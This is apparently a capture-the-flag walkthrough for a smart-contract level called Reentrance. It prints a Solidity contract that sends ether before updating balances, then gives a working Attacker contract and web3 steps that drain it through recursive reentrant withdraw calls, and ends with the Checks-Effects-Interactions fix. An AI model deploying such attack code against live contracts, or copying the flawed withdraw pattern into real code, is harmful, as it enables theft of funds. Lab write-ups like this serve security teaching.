Requirements: Basic knowledge of Solidity smart contracts and Remix IDE.
The challenge 🤼♀️🤼
Steal all the funds from the following contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
Inspecting the contract 🔎🔍
Reentrance
is a contract that allows donors to give ether to any account via the donate
function, the receive
function doesn't update the balance of the beneficiary.
balances
keeps track of the total amount donated to each beneficiary and that amount can be read with the balanceOf
method.
The beneficiaries can withdraw ether they have received with the withdraw
method and only if they have received an amount greater or equal to the amount they want to withdraw.
The contract implements the SafeMath
library from OpenZeppelin to protect the arithmetic operations from underflow and overflow.
Reentrancy 🔄
A reentrancy attack has been the most destructive type of hack that smart contracts have suffered, this attack occurs when a smart contract makes an external call to an untrusted or malicious contract that with his fallback
creates a recursive call back to the original function in an attempt to drain funds.
That's a good definition for a reentrancy attack but how is Reentrancy
vulnerable to this type of attack?
When an user calls withdraw
, the function sends the amount
to withdraw by the user and only after that call is finished the balance of the donor in the contract is updated. This flow does not follow the Check-Effect-Interactions pattern recommended for functions making it exploitable with a Reentrancy attack.
Given the fact that the function first sends the ether and then updates the balance, that means the function can be re-entered during the execution of the call
function to recursively invoke call
to send amount
again to the user.
Draining Reentrance
😈
A reentrancy attack can only be done with a smart contract, so let's create our attacker contract:
interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
}
contract Attacker {
IReentrance private immutable reentrance;
uint256 private constant amountToWithdraw = 1000000000000000;
constructor (address _reentranceAddr) {
reentrance = IReentrance(_reentranceAddr);
}
fallback() external payable {
if(address(reentrance).balance >= amountToWithdraw) {
reentrance.withdraw(amountToWithdraw);
}
}
function attack() external payable {
reentrance.donate{value: amountToWithdraw}(address(this));
reentrance.withdraw(amountToWithdraw);
}
}
attack
will make a call to donate ether to itself and then it will call withdraw
; after Reentrance
sends the ether to Attacker
the fallback
function will be triggered making a new call to withdraw
and this cycle will last until the balance in Reentrance
goes below amountToWithdraw
.
The if-statement is important because it breaks the cycle otherwise an infinite loop is created, this will drain the gas in the transacion and the funds in Reentrance
will not be drained.
Before making the attack let's check the balance in Reentrance
:
await web3.eth.getBalance(contract.address).then(bal => bal.toString()) // should return 1000000000000000 or 0.001 ether
Deploy Attack
with the address of the Reentrance
and then invoke attack
sending the 1000000000000000 wei
with the transaction.
After the transaction is completed check again the balance of Reentrance
and it should be zero.
Submit the instance to complete the level.
Conclusion 💯
If your function is going to make external calls to smart contracts always assume that contract is malicious and design your function to be secure against attacks like reentrancy.
If the developer had followed the Checks-Effects-Interactions pattern then he would have updated the balance first before sending the ether or making an external call.
By doing that when Attacker
receives the ether after the first withdraw, the fallack is triggered but the condition would have been false because the balance of the contract in Reentrance is zero.
Top comments (0)